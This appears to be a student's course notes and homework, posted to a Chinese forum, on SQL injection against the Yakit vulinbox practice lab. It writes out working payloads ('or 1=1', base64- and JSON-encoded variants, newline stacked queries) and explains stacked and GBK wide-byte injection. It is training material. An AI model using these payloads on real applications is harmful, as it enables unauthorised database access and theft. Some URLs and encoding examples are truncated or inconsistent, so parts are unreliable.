本帖最后由 梁国东 于 2025-4-10 23:41 编辑
源码:https://github.com/yaklang/yakla ... ulinbox/vul_sqli.go
sql-9
select * from vulin_users where (username LIKE '%b%') AND (age > 20);
') or 1=1 --
select * from vulin_users where (username LIKE '%') or 1=1 -- %') AND (age > 20);
sql-10
select * from vulin_users where (username LIKE '%a%') AND (age > 20);
') or 1=1 --
编码---》服务端---》解码---》执⾏ sql
% %
base64
a==??
select * from vulin_users where (username LIKE '%%') AND (age > 20);
GET /user/name/like/b64?nameb64=a HTTP/1.1-这样可以就是后端代码缺乏安全意识
一般是这样
http://192.168.3.2:8787/user/nam ... ScpIG9yIDE9MSAtLQ==
Sql-11
select * from vulin_users where (username LIKE '%a%') AND (age > 20);
{"nameb64j":"a"}
{"nameb64j":"') or 1=1 --"}
GET /user/name/like/b64j?data={"nameb64j":"a') or 1=1 --"}== HTTP/1.1
sql-12
遇到注⼊点在结尾的,那么可以进⾏堆叠注⼊测试
换⾏符:\n
表现形式:%0A 回⻋
select * from vulin_users where (username LIKE '%a%') LIMIT 5;
select * from vulin_users where (username LIKE '%a%') LIMIT 5 and 1=1;
后端给我们加了个反斜杠,把我们传递的特殊符号全部转义了(不⽣效了)
换⾏
select * from vulin_users where (username LIKE '%a%') LIMIT 5;select * from vulin_users
where (username LIKE '%a%') LIMIT 5 and 1=1;
select * from vulin_users where (username LIKE '%a%') LIMIT 5;\nselect * from vulin_users
where (username LIKE '%a%') LIMIT 5 and 1=1;
堆叠注入学习:https://www.cnblogs.com/backlion/p/9721687.html
堆叠注入原理
在SQL中,分号(;)是⽤来表示⼀条sql语句的结束 但是目标系统采用啦一些函数
是可以多条语句一起执行得
如果数据库采用啦一些特定函数 可以在分号后接着写sql语句得
mysqli_query()只能执⾏⼀条SQL语句,如果这需要执⾏多条SQL语句,就需要使⽤mysqli_multi_query()⽅法,
mysqli_multi_query()可以执⾏多条SQL语句,如果后端代码使⽤这个⽅法去执⾏SQL语句,我们就可以利⽤堆叠
注⼊获取后台数据库的信息
数据库语法顺序
SELECT ...
FROM ...
WHERE ...
GROUP BY ...
HAVING ...
ORDER BY ...
LIMIT ...;
宽字节注⼊
什么是宽字节
当某字符的⼤⼩为⼀个字节时,称其字符为窄字节当某字符的⼤⼩为两个字节时,称其字符为宽字节。所有英⽂默
认占⼀个字节,汉字占两个字节。
前提
数据库编码得是 gbk 编码
原理
当传递⼀个参数id=1‘得时候,当我们输⼊这个单引号,会被认为是⾮法字符,会被过滤函数添加“\”给过滤掉,所以
我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”⼲掉
\ 斜杆的编码为 %5c
乗:%81%5c
'
\' ===> %81%5c%21
乗'
传参⼀个字符想办法凑成⼀个gbk字符,例如:‘運’字是%df%5c
所以添加%df后就变成了 運' 单引号就能正常使⽤了
GBK编码表:https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php
WEB渗透测试工程师系统班250303期 第15节课作业
1. 实际操作课堂讲解的yakit sql注入靶场,截图 2. 堆叠注入的原理是什么 在SQL中,分号(;)是⽤来表示⼀条sql语句的结束 但是目标系统采用啦一些函数 是可以多条语句一起执行得 5. 堆叠注入的利用场景是什么 获取数据库信息执行任意 SQL 命令提升权限绕过登录验证攻击其他系统 7. 宽字节注入的原理是什么 当传递⼀个参数id=1‘得时候,当我们输⼊这个单引号,会被认为是⾮法字符,会被过滤函数添加“\”给过滤掉,所以 我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”⼲掉 10. 实操sqli靶场36关宽字节注入
|